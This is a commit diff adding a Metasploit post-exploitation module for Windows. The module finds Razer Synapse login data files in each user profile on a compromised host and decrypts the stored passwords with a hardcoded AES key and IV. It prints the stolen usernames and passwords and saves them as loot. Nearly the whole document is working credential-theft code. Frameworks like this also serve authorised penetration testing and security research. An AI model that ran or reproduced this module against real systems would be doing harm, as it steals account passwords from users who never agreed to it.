adding razer_synapse.rb

Author: smilingraccoon

modules/post/windows/gather/credentials/razer_synapse.rb

@@ -0,0 +1,119 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/windows/user_profiles'
+require 'openssl'
+
+class Metasploit3 < Msf::Post
+
+	include Msf::Post::Common
+	include Msf::Post::Windows::UserProfiles
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => 'Razer Synapse Password Extraction',
+			'Description'    => %q{
+					This module will enumerate passwords stored by the Razer Synapse
+					client. The encryption key and iv is publicly known. This module
+					will not only extract encrypted password but will also decrypt
+					password using public key. Affects version 1.7.15 and earlier. 
+				},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
+					'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC
+					'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
+				],
+			'SessionTypes'   => [ 'meterpreter' ],
+			'Platform'      => [ 'win' ],	
+
+		))
+	end
+
+	# decrypt password
+	def decrypt(hash)
+		cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
+		cipher.decrypt
+		cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
+		cipher.iv = "ryojvlzmdalyglrj"
+
+		hash.each_pair { |user,pass|
+			pass = pass.unpack("m")[0]
+
+			password = cipher.update pass
+			password << cipher.final rescue return nil
+
+			store_creds(user, password.split("||")[1])
+			print_good("Found credentials")
+			print_good("\tUser: #{user}")
+			print_good("\tPassword: #{password.split("||")[1]}")
+		}
+	end
+
+	def store_creds(user, pass)
+		if db
+			report_auth_info(
+				:host   => client.sock.peerhost,
+				:port   => 443,
+				:ptype  => 'password',
+				:sname  => 'razer_synapse',
+				:user   => user,
+				:pass   => pass,
+				:duplicate_ok => true,
+				:active => true
+			)
+			vprint_status("Loot stored in the db")
+		end
+	end
+
+	# Loop throuhg config, grab user and pass
+	def parse_config(config)
+		if not config =~ /<Version>\d<\/Version>/
+			creds = {}
+			cred_group = config.split("</SavedCredentials>")
+			cred_group.each { |cred|
+				user = /<Username>([^<]+)<\/Username>/.match(cred)
+				pass = /<Password>([^<]+)<\/Password>/.match(cred)
+				if user and pass
+					creds[user[1]] = pass[1]
+				end
+			}
+			return creds
+		else
+			print_error("Module only works against configs from version < 1.7.15")
+			return nil
+		end
+	end
+
+	# main control method
+	def run
+		grab_user_profiles().each do |user|
+			if user['LocalAppData']
+				accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
+				# open the file for reading
+				config = client.fs.file.new(accounts, 'r') rescue nil
+				next if config.nil?
+				print_status("Config found for user #{user['UserName']}")
+
+				contents = config.read
+				config.close
+
+				# read the contents of file
+				creds = parse_config(contents)
+				if creds
+					decrypt(creds)
+				else
+					print_error("Could not read config or empty for #{user['UserName']}")
+				end
+			end
+		end
+	end
+end